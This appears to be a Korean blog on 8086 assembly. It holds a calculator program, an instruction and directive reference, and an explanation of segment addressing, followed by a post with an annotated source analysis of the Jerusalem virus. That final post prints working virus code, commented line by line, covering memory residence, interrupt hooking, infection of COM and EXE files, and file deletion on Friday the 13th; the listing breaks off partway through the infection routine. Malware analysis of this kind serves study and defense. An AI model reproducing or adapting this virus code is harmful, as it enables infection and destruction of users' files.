레이블이 어셈블리어인 게시물을 표시합니다. 모든 게시물 표시
레이블이 어셈블리어인 게시물을 표시합니다. 모든 게시물 표시

2009년 12월 20일 일요일

아스키 코두표 extend

아스키 코드표

계산기

name "calc2"

; command prompt based simple calculator (+,-,*,/) for 8086.
; example of calculation:
; input 1 <- number: 10
; input 2 <- operator: -
; input 3 <- number: 5
; -------------------
; 10 - 5 = 5
; output -> number: 5





;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; this maro is copied from emu8086.inc ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; this macro prints a char in AL and advances
; the current cursor position:
PUTC MACRO char
PUSH AX
MOV AL, char
MOV AH, 0Eh
INT 10h
POP AX
ENDM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;





org 100h

jmp start


; define variables:

msg0 db "note: calculator works with integer values only.",0Dh,0Ah
db "to learn how to output the result of a float division see float.asm in examples",0Dh,0Ah,'$'
msg1 db 0Dh,0Ah, 0Dh,0Ah, 'enter first number: $'
msg2 db "enter the operator: + - * / : $"
msg3 db "enter second number: $"
msg4 db 0dh,0ah , 'the approximate result of my calculations is : $'
msg5 db 0dh,0ah ,'thank you for using the calculator! press any key... ', 0Dh,0Ah, '$'
err1 db "wrong operator!", 0Dh,0Ah , '$'
smth db " and something.... $"

; operator can be: '+','-','*','/' or 'q' to exit in the middle.
opr db '?'

; first and second number:
num1 dw ?
num2 dw ?


start:
mov dx, offset msg0
mov ah, 9
int 21h


lea dx, msg1
mov ah, 09h ; output string at ds:dx
int 21h


; get the multi-digit signed number
; from the keyboard, and store
; the result in cx register:

call scan_num

; store first number:
mov num1, cx



; new line:
putc 0Dh
putc 0Ah




lea dx, msg2
mov ah, 09h ; output string at ds:dx
int 21h


; get operator:
mov ah, 1 ; single char input to AL.
int 21h
mov opr, al



; new line:
putc 0Dh
putc 0Ah


cmp opr, 'q' ; q - exit in the middle.
je exit

cmp opr, '*'
jb wrong_opr
cmp opr, '/'
ja wrong_opr






; output of a string at ds:dx
lea dx, msg3
mov ah, 09h
int 21h


; get the multi-digit signed number
; from the keyboard, and store
; the result in cx register:

call scan_num


; store second number:
mov num2, cx




lea dx, msg4
mov ah, 09h ; output string at ds:dx
int 21h




; calculate:





cmp opr, '+'
je do_plus

cmp opr, '-'
je do_minus

cmp opr, '*'
je do_mult

cmp opr, '/'
je do_div


; none of the above....
wrong_opr:
lea dx, err1
mov ah, 09h ; output string at ds:dx
int 21h


exit:
; output of a string at ds:dx
lea dx, msg5
mov ah, 09h
int 21h


; wait for any key...
mov ah, 0
int 16h


ret ; return back to os.











do_plus:


mov ax, num1
add ax, num2
call print_num ; print ax value.

jmp exit



do_minus:

mov ax, num1
sub ax, num2
call print_num ; print ax value.

jmp exit




do_mult:

mov ax, num1
imul num2 ; (dx ax) = ax * num2.
call print_num ; print ax value.
; dx is ignored (calc works with tiny numbers only).

jmp exit




do_div:
; dx is ignored (calc works with tiny integer numbers only).
mov dx, 0
mov ax, num1
idiv num2 ; ax = (dx ax) / num2.
cmp dx, 0
jnz approx
call print_num ; print ax value.
jmp exit
approx:
call print_num ; print ax value.
lea dx, smth
mov ah, 09h ; output string at ds:dx
int 21h
jmp exit









;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; these functions are copied from emu8086.inc ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


; gets the multi-digit SIGNED number from the keyboard,
; and stores the result in CX register:
SCAN_NUM PROC NEAR
PUSH DX
PUSH AX
PUSH SI

MOV CX, 0

; reset flag:
MOV CS:make_minus, 0

next_digit:

; get char from keyboard
; into AL:
MOV AH, 00h
INT 16h
; and print it:
MOV AH, 0Eh
INT 10h

; check for MINUS:
CMP AL, '-'
JE set_minus

; check for ENTER key:
CMP AL, 0Dh ; carriage return?
JNE not_cr
JMP stop_input
not_cr:


CMP AL, 8 ; 'BACKSPACE' pressed?
JNE backspace_checked
MOV DX, 0 ; remove last digit by
MOV AX, CX ; division:
DIV CS:ten ; AX = DX:AX / 10 (DX-rem).
MOV CX, AX
PUTC ' ' ; clear position.
PUTC 8 ; backspace again.
JMP next_digit
backspace_checked:


; allow only digits:
CMP AL, '0'
JAE ok_AE_0
JMP remove_not_digit
ok_AE_0:
CMP AL, '9'
JBE ok_digit
remove_not_digit:
PUTC 8 ; backspace.
PUTC ' ' ; clear last entered not digit.
PUTC 8 ; backspace again.
JMP next_digit ; wait for next input.
ok_digit:


; multiply CX by 10 (first time the result is zero)
PUSH AX
MOV AX, CX
MUL CS:ten ; DX:AX = AX*10
MOV CX, AX
POP AX

; check if the number is too big
; (result should be 16 bits)
CMP DX, 0
JNE too_big

; convert from ASCII code:
SUB AL, 30h

; add AL to CX:
MOV AH, 0
MOV DX, CX ; backup, in case the result will be too big.
ADD CX, AX
JC too_big2 ; jump if the number is too big.

JMP next_digit

set_minus:
MOV CS:make_minus, 1
JMP next_digit

too_big2:
MOV CX, DX ; restore the backuped value before add.
MOV DX, 0 ; DX was zero before backup!
too_big:
MOV AX, CX
DIV CS:ten ; reverse last DX:AX = AX*10, make AX = DX:AX / 10
MOV CX, AX
PUTC 8 ; backspace.
PUTC ' ' ; clear last entered digit.
PUTC 8 ; backspace again.
JMP next_digit ; wait for Enter/Backspace.


stop_input:
; check flag:
CMP CS:make_minus, 0
JE not_minus
NEG CX
not_minus:

POP SI
POP AX
POP DX
RET
make_minus DB ? ; used as a flag.
SCAN_NUM ENDP





; this procedure prints number in AX,
; used with PRINT_NUM_UNS to print signed numbers:
PRINT_NUM PROC NEAR
PUSH DX
PUSH AX

CMP AX, 0
JNZ not_zero

PUTC '0'
JMP printed

not_zero:
; the check SIGN of AX,
; make absolute if it's negative:
CMP AX, 0
JNS positive
NEG AX

PUTC '-'

positive:
CALL PRINT_NUM_UNS
printed:
POP AX
POP DX
RET
PRINT_NUM ENDP



; this procedure prints out an unsigned
; number in AX (not just a single digit)
; allowed values are from 0 to 65535 (FFFF)
PRINT_NUM_UNS PROC NEAR
PUSH AX
PUSH BX
PUSH CX
PUSH DX

; flag to prevent printing zeros before number:
MOV CX, 1

; (result of "/ 10000" is always less or equal to 9).
MOV BX, 10000 ; 2710h - divider.

; AX is zero?
CMP AX, 0
JZ print_zero

begin_print:

; check divider (if zero go to end_print):
CMP BX,0
JZ end_print

; avoid printing zeros before number:
CMP CX, 0
JE calc
; if AX CMP AX, BX
JB skip
calc:
MOV CX, 0 ; set flag.

MOV DX, 0
DIV BX ; AX = DX:AX / BX (DX=remainder).

; print last digit
; AH is always ZERO, so it's ignored
ADD AL, 30h ; convert to ASCII code.
PUTC AL


MOV AX, DX ; get remainder from last div.

skip:
; calculate BX=BX/10
PUSH AX
MOV DX, 0
MOV AX, BX
DIV CS:ten ; AX = DX:AX / 10 (DX=remainder).
MOV BX, AX
POP AX

JMP begin_print

print_zero:
PUTC '0'

end_print:

POP DX
POP CX
POP BX
POP AX
RET
PRINT_NUM_UNS ENDP



ten DW 10 ; used as multiplier/divider by SCAN_NUM & PRINT_NUM_UNS.







GET_STRING PROC NEAR
PUSH AX
PUSH CX
PUSH DI
PUSH DX

MOV CX, 0 ; char counter.

CMP DX, 1 ; buffer too small?
JBE empty_buffer ;

DEC DX ; reserve space for last zero.


;============================
; Eternal loop to get
; and processes key presses:

wait_for_key:

MOV AH, 0 ; get pressed key.
INT 16h

CMP AL, 0Dh ; 'RETURN' pressed?
JZ exit_GET_STRING


CMP AL, 8 ; 'BACKSPACE' pressed?
JNE add_to_buffer
JCXZ wait_for_key ; nothing to remove!
DEC CX
DEC DI
PUTC 8 ; backspace.
PUTC ' ' ; clear position.
PUTC 8 ; backspace again.
JMP wait_for_key

add_to_buffer:

CMP CX, DX ; buffer is full?
JAE wait_for_key ; if so wait for 'BACKSPACE' or 'RETURN'...

MOV [DI], AL
INC DI
INC CX

; print the key:
MOV AH, 0Eh
INT 10h

JMP wait_for_key
;============================

exit_GET_STRING:

; terminate by null:
MOV [DI], 0

empty_buffer:

POP DX
POP DI
POP CX
POP AX
RET
GET_STRING ENDP

어셈블리어 명령어

명 령 어
설 명

Data Transfer

MOV
Move
데이터 이동 (전송)

PUSH
Push
오퍼랜드의 내용을 스택에 쌓는다

POP
Pop
스택으로부터 값을 뽑아낸다.

XCHG
Exchange Register/memory with Register
첫 번째 오퍼랜드와 두 번째 오퍼랜드 교환

IN
Input from AL/AX to Fixed port
오퍼랜드로 지시된 포트로부터 AX에 데이터 입력

OUT
Output from AL/AX to Fixed port
오퍼랜드가 지시한 포트로 AX의 데이터 출력

XLAT
Translate byte to AL
BX:AL이 지시한 데이블의 내용을 AL로 로드

LEA
Load Effective Address to Register
메모리의 오프셋값을 레지스터로 로드

LDS
Load Pointer to DS
REG←(MEM), DS←(MEM+2)

LES
Load Pointer ti ES
REG←(MEM), ES←(MEM+2)

LAHF
Load AH with Flags
플래그의 내용을 AH의 특정 비트로 로드

SAHF
Store AH into Flags
AH의 특정 비트가 플래그 레지스터로 전송

PUSHF
Push Flags
플래그 레지스터의 내용을 스택에 쌓음

POPF
Pop Flags
스택으로부터 플래그 레지스터로 뽑음

Arithmetic

ADD
Add
캐리를 포함하지 않은 덧셈

SBB
Subtract with Borrow
캐리를 포함한 뺄셈

DEC
Decrement
오퍼랜드 내용을 1 감소

NEG
Change Sign
오퍼랜드의 2의 보수, 즉 부호 반전

CMP
Compare
두 개의 오퍼랜드를 비교한다

ADC
Add with Carry
캐리를 포함한 덧셈

INC
Increment
오퍼랜드 내용을 1 증가

AAA
ASCII adjust for Add
덧셈 결과 AL값을 UNPACK 10진수로 보정

DAA
Decimal adjust for Add
덧셈 결과의 AL값을 PACK 10진수로 보정

SUB
Subtract
캐리를 포함하지 않은 뺄셈

AAS
ASCII adjust for Subtract
뺄셈 결과 AL값을 UNPACK 10진수로 보정

DAS
Decimal adjust for Subtract
뺄셈 결과의 AL값을 PACK 10진수로 보정

MUL
Multiply (Unsigned)
AX와 오퍼랜드를 곱셈하여 결과를 AX 또는 DX:AX에 저장

IMUL
Integer Multiply (Signed)
부호화된 곱셈

AAM
ASCII adjust for Multiply
곱셈 결과 AX값을 UNPACK 10진수로 보정

DIV
Divide (Unsigned)
AX 또는 DX:AX 내용을 오퍼랜드로 나눔. 몫은 AL, AX 나머지는 AH, DX로 저장

IDIV
Integer Divide (Signed)
부호화된 나눗셈

AAD
ASCII adjust for Divide
나눗셈 결과 AX값을 UNPACK 10진수로 보정

CBW
Convert byte to word
AL의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장

CWD
Convert word to double word
AX의 워드 데이터를 부호를 포함하여 DX:AX의 더블 워드로 변환

Logic

NOT
Invert
오퍼랜드의 1의 보수, 즉 비트 반전

SHL/SAL
Shift logical / arithmetic Left
왼쪽으로 오퍼랜드만큼 자리 이동 (최하위 비트는 0)

SHR
Shift logical Right
오른쪽으로 오퍼랜드만큼 자리 이동 (최상위 비트 0)

SAR
Shift arithmetic Right
오른쪽 자리이동, 최상위 비트는 유지

ROL
Rotate Left
왼쪽으로 오퍼랜드만큼 회전 이동

ROR
Rotate Right
오른쪽으로 오퍼랜드만큼 회전 이동

RCL
Rotate through Carry Left
캐리를 포함하여 왼쪽으로 오퍼랜드만큼 회전 이동

RCR
Rotate through Carry Right
캐리를 포함하여 오른쪽으로 오퍼랜드만큼 회전 이동

AND
And
논리 AND

TEST
And function to Flags, no result
첫 번째 오퍼랜드와 두 번째 오퍼랜드를 AND하여 그 결과로 플래그 세트

OR
Or
논리 OR

XOR
Exclusive Or
배타 논리 합 (OR)

String Manipulation

REP
Repeat
REP 뒤에 오는 스트링 명령을 CX가 0이 될 때까지 반복

MOVS
Move String
DS:SI가 지시한 메모리 데이터를 ES:DI가지시한 메모리로 전송

CMPS
Compare String
DS:SI와 ES:DI의 내용을 비교하고 결과에 따라 플래그 설정

SCAS
Scan String
AL 또는 AX와 ES:DI가 지시한 메모리 내용 비교하고 결과에 따라 플래그 설정

LODS
Load String
SI 내용을 AL 또는 AX로 로드

STOS
Store String
AL 또는 AX를 ES:DI가 지시하는 메모리에 저장

Control Transfer

CALL
Call
프로시저 호출

JMP
Unconditional Jump
무조건 분기

RET
Return from CALL
CALL로 스택에 PUSH된 주소로 복귀

JE/JZ
Jump on Equal / Zero
결과가 0이면 분기

JL/JNGE
Jump on Less / not Greater or Equal
결과가 작으면 분기 (부호화된 수)

JB/JNAE
Jump on Below / not Above or Equal
결과가 작으면 분기 (부호화 안 된 수)

JBE/JNA
Jump on Below or Equal / not Above
결과가 작거나 같으면 분기 (부호화 안 된 수)

JP/JPE
Jump on Parity / Parity Even
패리티 플레그가 1이면 분기

JO
Jump on Overflow
오버플로가 발생하면 분기

JS
Jump on Sign
부호 플레그가 1이면 분기

JNE/JNZ
Jump on not Equal / not Zero
결과가 0이 아니면 분기

JNL/JGE
Jump on not Less / Greater or Equal
결과가 크거나 같으면 분기 (부호화된 수)

JNLE/JG
Jump on not Less or Equal / Greater
결과가 크면 분기 (부호화된 수)

JNB/JAE
Jump on not Below / Above or Equal
결과가 크거나 같으면 분기 (부호화 안 된 수)

JNBE/JA
Jump on not Below or Equal / Above
결과가 크면 분기 (부호화 안 된 수)

JNP/JPO
Jump on not Parity / Parity odd
패리티 플레그가 0이면 분기

JNO
Jump on not Overflow
오버플로우가 아닌 경우 분기

JNS
Jump on not Sign
부호 플레그가 0이면 분기

LOOP
Loop CX times
CX를 1감소하면서 0이 될 때까지 지정된 라벨로 분기

LOOPZ/LOOPE
Loop while Zero / Equal
제로 플레그가 1이고 CX≠0이면 지정된 라벨로 분기

LOOPNZ/LOOPNE
Loop while not Zero / not Equal
제로 플레그가 0이고 CX≠0이면 지정된 라벨로 분기

JCXZ
Jump on CX Zero
CX가 0이면 분기

INT
Interrupt
인터럽트 실행

INTO
Interrupt on Overflow
오버플로우가 발생하면 인터럽트 실행

IRET
Interrupt Return
인터럽트 복귀 (리턴)

Processor Control

CLC
Clear Carry
캐리 플레그 클리어

CMC
Complement Carry
캐리 플레그를 반전

CLD
Clear Direction
디렉션 플레그를 클리어

CLI
Clear Interrupt
인터럽트 플레그를 클리어

HLT
Halt
정지

LOCK
Bus Lock prefix



STC
Set Carry
캐리 플레그 셋

NOP
No operation



STD
Set Direction
디렉션 플레그 셋

STI
Set Interrupt
인터럽트 인에이블 플레그 셋

WAIT
Wait
프로세서를 일지 정지 상태로 한다

ESC
Escape to External device
이스케이프 명령




2. 8086 어셈블러 지시어(Directive)


지시어
내 용
형 식

SEGMENT
-
END
어셈블리 프로그램은 한 개 이상의 세그먼트들로 구성된다. SEGMENT 지시어는 하나의 세그먼트를 정의한다.
segname SEGMENT ; 세그먼트 시작
⋮ ; 세그먼트 내용
segname ENDS ; 세그먼트 끝

PROC
-
ENDP
매크로 어셈블리에서는 프로그램의 실행 부분을 모듈로 작성할 수 있다. 이 모듈을 프로시저(Procedure)라 부르며, PROC 지시어가 이를 정의한다.
procname PROC ; 프로시저의 시작
⋮ ; 프로시저의 내용
procname ENDP ; 프로시저의 끝

ASSUME
어셈블러에게 세그먼트 레지스터와 사용자가 작성한 세그먼트의 이름을 연결시킨다.
ASSUME SS:stack_segname,
DS:data_segname,
CS:code_segname,
ES:extra_segname

END
전제 프로그램의 끝을 나타냄
END

데이터 정의 지시어 : 프로그램에서 데이터를 저장할 기억 장소를 정의, 초기값 부여

DB
Define Byte
name DB 초기값

DW
Define Word
name DW 초기값

DD
Define Double Word
name DD 초기값

DQ
Define Quad Word
name DQ 초기값

DT
Define Ten Bytes
name DT 초기값

EQU
변수 이름에 데이터값이나 문자열 정의
name EQU 데이터값/문자열

=
EQU와 달리 정의된 값을 변경 가능



EVEN
어셈블리시 이 지시어가 사용되는 곳의 주소가 짝수로 되도록 함



PAGE
어셈블리 리스트의 형식을 결정
PAGE [length][,width]

TITLE
어셈블리 리스트의 각 페이지에 제목 출력
TITLE text




※ 세그먼트(SEGMENT)와 오프셋(OFFSET)

16비트 레지스터를 사용하여 주소를 표현한다면, 216Byte = 65536 Byte = 64 KByte 의 주소 공간을 가질 수 있다. 그러나 지정 가능 주소 공간의 크기를 늘리기 위하여 '세그먼트', '오프셋'의 개념을 사용한다. 개념적으로는 메모리를 가리키는 화살표를 세그먼트(SEGMENT)라고 하고 그곳을 기준으로 떨어진 변위(DISPLACEMENT)를 오프셋(OFFSET)이라고 한다. 8086은 세그먼트를 16바이트 단위로 취하여 그곳으로부터 오프셋 지정으로 주소값을 얻는다.

세그먼트값 × 16 + 오프셋 = 실제주소

16을 곱한다는 것은 왼쪽으로 4번 시프트 한것과 같다. 이 때, 세그먼트 레지스터는 16비트이므로 실제 주소는 16비트를 왼쪽으로 4번 시프트한 20비트의 주소 공간을 가리킬 수 있게된다.

예를 들어, 세그먼트가 A000, 오프셋이 00FF 일 때 실제 주소 값은 다음과 같이 계산할 수 있다.

A
0
0
0


세그먼트

+


0
0
F
F
오프셋



A
0
0
F
F
실제 주소값




이러한 세그먼트, 오프셋에 의한 방식의 장점은 작은 레지스터 크기로도 넓은 주소 공간을 가리킬 수 있다는 것이다.

8086의 경우 20비트의 주소 공간이므로 220Byte = 1048576 Byte = 1 MByte 까지의 주소 공간을 가질 수 있다.

2009년 12월 19일 토요일

예루살렘 바이러스 소스 프로그램 분석

;----------------------------------------------------------------
; 예루살렘 바이러스 소스 프로그램 분석
;----------------------------------------------------------------

virus segment para 'virus'
assume cs:virus, ds:virus
start:
jmp virus_start

;----------------------------------------------------------------
; DATA 영역
;----------------------------------------------------------------

dw ?
virus_maker db 'MsDos' ;바이러스 식별자
file_ofs dw ?
file_seg dw ?
i_flage db ? ;13일의 금요일 처리 flag
d_f dw ?
d_11 dw ?
int8_ofs dw ?
int8_seg dw ?
int21_ofs dw ?
int21_seg dw ?
int24_ofs dw ?
int24_seg dw ?
d_1f dw ?
dd_rtn db 10h dup (?)
env_blk db 12h dup (?)
exe_si dw ?
exe_ss dw ?
exe_ip dw ?
exe_cm dw ?
intff db 3 dup (?)
file_id db ?
exe_header db 1ch dup (?)
file_5byte db 5 dup (?)
file_handle dw ? ;파일의 핸들로 사용
file_attr dw ? ;파일의 속성을 저장
file_date dw ? ;현재의 날짜
file_time dw ? ;현재의 시간
d_78 dw ?
d_7a dw ?
d_7c dw ?
d_7e dw ?
file_name dd ?
file_command db 'COMMAND.COM'
counter dw 100h ;시작 ip주소
dd ?

;----------------------------------------------------------------
; 바이러스 프로그램 시작
;----------------------------------------------------------------

virus_start:
cld ;디렉션 플레그를 0으로 초기화
;바이러스 프로그램 상주 여부 검사
mov ah, 0e0h ;ah=0e0h인 경우는 dos에서 사용 되지 않음
int 21h ;바이러스가 사용하여 ax=3000h로 리턴

cmp ah, 0e0h ;바이러스가 있는지 검사
jnb change_cs ;ah >= 0e0h인 경우는 바이러스가
;상주하지 않은 경우
cmp ah, 03h ;사용되지 않는다.
jb change_cs

mov ah, 0ddh ;ah=0ddh인 경우는 원래의 프로그램의 실행과 같은
mov di, 0100h ;환경을 만들어서 시작으로 jump하는 기능
mov si, 0710h ;따라서 바이러스가 상주하고 있으면 이곳에서
add si, di ;작업이 끝나고 원래의 화일이 실행됨
;바이러스가 만든 DD 루틴 실행



mov cx, word ptr cs:[di+offset d_11] ;cs레지스터의 보정
int 21h

;----------------------------------------------------------------
; 바이러스 상주 시키기
;----------------------------------------------------------------

change_cs:
mov ax, cs ;EXE file과 CS register를 통일하기 위해
add ax, 0010h ;retf 명령을 통해 CS 조정
mov ss, ax ;스택의 보정
mov sp, 0700h
push ax
mov ax, 00c5h
push ax
retf

l_1c5:
cld ;프로그램 로드 후 실행 루틴을 위한
mov cs:[0031h], es ;환경블럭 파라미터 만들기
mov cs:[0039h], es
mov cs:[003dh], es
mov cs:[0041h], es
mov ax, es
add ax, 0010h
add cs:[0049h], ax
add cs:[0045h], ax
mov ah, 0e0h ;바이러스 상주여부 검사
int 21h
cmp ah, 0e0h
jnb ram_virus ;바이러스 상주시키기 루틴으로 점프

cmp ah, 03h
pop es
mov ss, cs:[0045h]
mov sp, cs:[0043h]
jmp dword ptr cs:[0047h] ;점프 exe_ip

ram_virus:
xor ax, ax ;int ffh의 offset과 segment 저장
mov es, ax
mov ax, es:[03fch]
mov word ptr cs:intff, ax
mov al, es:[03feh]
mov byte ptr cs:intff[02h], al

mov word ptr es:[03fch], 0a5f3h ;rep movsw
mov byte ptr es:[03feh], 0cbh ;retf
pop ax
add ax, 0010h ;EXE형 화일과 COM형 화일의 cs register를 통일
mov es, ax
push cs
pop ds
mov cx, 0710h
shr cx, 1
xor si, si
mov di, si
push es
mov ax, 0142h
push ax

db 11101010b ;jmp 000:03fc
dw 03fch
dw 0000h

ret_f:
mov ax, cs ;스택 조정
mov ss, ax
mov sp, 0700h

xor ax, ax ;int ffh 내용 복구
mov ds, ax
mov ax, word ptr cs:intff
mov word ptr ds:[03fch], ax
mov al, cs:intff[02h]
mov byte ptr ds:[03feh], al

mov bx, sp
mov cl, 04h
shr bx, cl
add bx, 10h
mov cs:[0033h], bx
mov ah, 4ah
mov es, cs:[0031h]
int 21h

mov ax, 3521h ;int 21h 주소 저장
int 21h
mov word ptr cs:[0017h], bx
mov word ptr cs:[0019h], es

push cs ;int 21h 주소 바꾸기 (cs:35b)
pop ds
mov dx, 025bh
mov ax, 2521h
int 21h

mov es, ds:[0031h] ;es -> 환경블럭 segment
mov es, es:[002ch]
xor di, di
mov cx, 7fffh ;현재 path와 화일 이름 구하기
xor al, al

loop2: repnz scasb
cmp es:[di], al
loopnz loop2

mov dx, di ;화일 실행을 위한 파라미터 만들기
add dx, 03h ;ds=path명이 있는 곳의 segment
mov ax, 4b00h ;es=파라미터 블럭의 segment
push es ;ax=4b00h(로드후 실행)
pop ds ;bx=파라미터 블럭의 offset
push cs ;cx=관계없음
pop es ;dx=path명이 있는 곳의 offset
mov bx, 0035h
push ds ;register 대피
push es
push ax
push bx
push cx
push dx

mov ah, 2ah ;날짜, 시간 알아내기
int 21h
mov byte ptr cs:[00eh], 0 ;flag clear

cmp cx, 07c3h ;1987년 인가?
jz nochange_8h
cmp al, 05h ;금요일 인가?
jnz change_8h
cmp dl, 0dh ;13일 인가?
jnz change_8h
inc byte ptr cs:[00eh] ;flag set
jmp nochange_8h

change_8h:
mov ax, 3508h ;int 8h 주소 알아내기
int 21h
mov cs:[0013h], bx
mov cs:[0015h], es
push cs ;int 8h 주소 바꾸기
pop ds
mov word ptr ds:[001fh], 7e90h
mov ax, 2508h
mov dx, 021eh
int 21h

nochange_8h:
pop dx ;register 복구
pop cx
pop bx
pop ax
pop es
pop ds
pushf
call dword ptr cs:[0017h] ;원래 화일 실행

push ds ;메로리 회수
pop es
mov ah, 49h
int 21h
mov ah, 4dh
int 21h

mov ah, 31h
mov dx, 0600h
mov cl, 04h
shr dx, cl
add dx, 10h
int 21h

;----------------------------------------------------------------
; INT 24H Routine
;----------------------------------------------------------------

int_24h:
xor al, al ;error 처리 불가능 표시
iret

;----------------------------------------------------------------
; INT 8H Routine
;----------------------------------------------------------------

int_8h:
cmp word ptr cs:[001fh], 02h
jnz l_33d
push ax
push bx
push cx
push dx
push bp
mov ax, 0602h
mov bh, 87h
mov cx, 0505h
mov dx, 1010h
int 10h

pop bp
pop dx
pop cx
pop bx
pop ax

l_33d:
dec word ptr cs:[001fh]
jnz exit_8h
mov word ptr cs:[001fh], 0001h
push ax
push cx
push si
mov cx, 4001h
rep lodsb
pop si
pop cx
pop ax

exit_8h:
jmp dword ptr cs:[0013h]

;----------------------------------------------------------------
; INT 21H Routine
;----------------------------------------------------------------

int_21h:
pushf
cmp ah, 0e0h ;ah=e0 인 경우 => 바이러스 상주 표시
jnz l_366
mov ax, 0300h
popf
iret

l_366:
cmp ah, 0ddh ;각 바이러스 루틴으로 점프
jz r_dd
cmp ah, 0deh
jz r_de
cmp ax, 4b00h
jnz original_21h
jmp r_4b00

original_21h:
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행

;----------------------------------------------------------------
; AH := DD Routine
;----------------------------------------------------------------

r_dd:
pop ax ;원래 화일 실행
pop ax ;원래 화일을 100h 부터 쓴 다음
mov ax, 0100h ;화일 처음으로 점프
mov cs:[000ah], ax
pop ax
mov cs:[000ch], ax
rep movsb
popf
mov ax, cs:[000fh]
jmp dword ptr cs:[000ah]

;----------------------------------------------------------------
; AH := DE Routine
;----------------------------------------------------------------

r_de:
add sp, 06h
popf
mov ax, cs
mov ss, ax
mov sp, 0710h
push es
push es
xor di, di
push cs
pop es
mov cx, 0010h
mov si, bx
mov di, 0021h
rep movsb
mov ax, ds
mov es, ax
mul word ptr cs:[007ah]
add ax, cs:[002bh]
adc dx, +00
div word ptr cs:[007ah]
mov ds, ax
mov si, dx
mov di, dx
mov bp, es
mov bx, es:[002fh]
or bx, bx
jz l_3ed

l_3da:
mov cx, 8000h
rep movsw
add ax, 1000h
add bp, 1000h
mov ds, ax
mov es, bp
dec bx
jnz l_3da

l_3ed:
mov cx, cs:[003dh]
rep movsb
pop ax
push ax
add ax, 0010h
add cs:[0029h], ax
add cs:[0025h], ax
mov ax, cs:[0021h]
pop ds
pop es
mov ss, cs:[0029h]
mov sp, cs:[0027h]
jmp dword ptr cs:[0023h]

;----------------------------------------------------------------
; 13일의 금요일 처리 Routine
;----------------------------------------------------------------

fri_13:
xor cx, cx ;속성 바꾸기
mov ax, 4301h
int 21h
mov ah, 41h ;화일 지우기
int 21h
mov ax, 4b00h
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행

;----------------------------------------------------------------
; AX := 4B00H Routine
;----------------------------------------------------------------

r_4b00:
cmp byte ptr cs:[000eh], 01 ;13일의 금요일이면 화일 지우기
jz fri_13

mov word ptr cs:[0070h], 0ffffh ;file handle 저장
mov word ptr cs:[007fh], 0000 ;counter 초기화

mov cs:[0080h], dx ;화일 명칭 offset
mov cs:[0082h], ds ;화일 명칭 segment

push ax ;register 대피
push bx
push cx
push dx
push si
push di
push ds
push es

cld ;다른 드라이브의 화일인가?
mov di, dx
xor dl, dl
cmp byte ptr [di+01], 3ah ;3ah = ':'
jnz l_464

mov dl, [di] ;드라이브 번호 만들기
and dl, 1fh

l_464:
mov ah, 36h ;디스켓 용량 알아내기
int 21h

cmp ax, 0ffffh ;error이면 끝내기
jnz l_470

l_46d: jmp exit_2

l_470: mul bx ;용량이 충분한가?
mul cx
or dx, dx
jnz infect
cmp ax, 0710h
jb l_46d

;화일이 "COMMAND.COM" 인가를 확인
infect:
mov dx, word ptr cs:file_name ;화일 이름 알아내기
push ds
pop es
xor al, al
mov cx, 0041h
repnz scasb

mov si, word ptr cs:file_name ;화일 이름 대문자로 바꾸기

loop_ch:
mov al, [si]
or al, al
jz exit_ch
cmp al, 61h
jb inc_si
cmp al, 7ah
ja inc_si
sub byte ptr [si], 20h

inc_si:
inc si
jmp loop_ch

exit_ch:
mov cx, 000bh ;"COMMAND.COM" 인가?
sub si, cx
mov di, 0084h
push cs
pop es
mov cx, 000bh
repz cmpsb
jnz no_command
jmp exit_2

no_command:
mov ax, 4300h ;화일 속성 알아내기
int 21h
jb l_4c4

mov cs:[0072h], cs ;화일 속성 저장

l_4c4: jb l_4eb

xor al, al
mov cs:[004eh], al ;file flag clear

push ds ;화일 이름 끝으로 pointer 이동
pop es
mov di, dx
mov cx, 0041h
repnz scasb

cmp byte ptr [di-02], 4dh ;COM 형 화일
jz no_com
cmp byte ptr [di-02], 6dh
jz no_com
inc byte ptr cs:[0004eh] ;file flag set

no_com:
mov ax, 3d00h ;file open(read only)
int 21h

l_4eb: jb l_547

mov cs:[0070h], ax ;pointer를 화일 끝 5byte로 옮긴다.
mov bx, ax
mov cx, 0ffffh
mov dx, 0fffbh
int 21h
jb l_4eb

add ax, 0005h ;file size 저장
mov cs:[0011h], ax

mov cx, 0005h ;화일에서 5byte 읽기
mov dx, 006bh
mov ax, cs
mov ds, ax
mov es, ax
mov ah, 3fh
int 21h

mov di, dx ;바이러스 감염 여부 검사
mov si, 0005h
repz cmpsb
jnz no_infect

mov ah, 3eh ;file close, end
int 21h
jmp exit_2

no_infect:
mov ax, 3524h ;int 24h 주소 알아내기
int 21h
mov int24_ofs, bx
mov int24_seg, es

mov dx, 021bh ;int 24h 주소 바꾸기
mov ax, 2524h
int 21h

lds dx, dword ptr file_name ;화일 속성 바꾸기
xor cx, cx
mov ax, 4301h
int 21h

l_547: jb l_584

mov bx, cs:[0070h] ;file close
mov ah, 3eh
int 21h

mov word ptr cs:[0070h], 0ffffh ;file handle clear
mov ax, 3d02h ;file open(read/write)
int 21h
jb l_584

mov cs:[0070h], ax ;segment register set
mov ax, cs
mov ds, ax
mov es, ax

mov bx, [0070h] ;화일 날짜/시간 알아내기
mov ax, 5700h
int 21h

mov file_date, dx ;날짜/시간 저장
mov file_time, cx

mov ax, 4200h ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
int 21h

l_584: jb l_5e3

cmp file_id, 00 ;EXE or COM ?
jz com_proc
jmp exe_proc

;----------------------------------------------------------------
; COM 형 File 처리 Routine
;----------------------------------------------------------------

com_proc:
mov bx, 1000h ;메모리 할당(64k)
mov ah, 48h
int 21h
jnb memory_ok
mov ah, 3eh ;메모리 부족이면 끝냄
mov bx, [0070h] ;file close
int 21h
jmp exit_2

memory_ok:
inc counter ;counter 증가
mov es,ax ;할당된 메모리로 바이러스 프로그램 복사
xor si, si
mov di, di
mov cx, 0710h
rep movsb

mov dx, di ;file load
mov cx, [0011h]
mov bx, [0070h]
push es
pop ds
mov ah, 3fh
int 21h

